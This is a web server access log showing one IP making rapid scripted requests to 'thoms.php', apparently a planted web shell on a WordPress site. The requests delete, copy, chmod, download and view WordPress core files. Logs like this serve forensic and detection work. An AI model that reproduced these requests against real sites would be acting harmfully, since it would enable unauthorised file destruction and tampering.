45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22186 "https://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?del=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22156 "https://163.245.207.76:443/thoms.php?del=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22290 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?chmod=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22304 "https://163.245.207.76:443/thoms.php?chmod=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=version.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?del=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?chmod=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:33 -0400] "GET /thoms.php?dl=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flink-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flink-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Flink-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?dl=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?del=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=taxonomy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?chmod=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcompat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcompat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcompat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?del=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rewrite.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?del=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22231 "https://163.245.207.76:443/thoms.php?del=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22217 "https://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
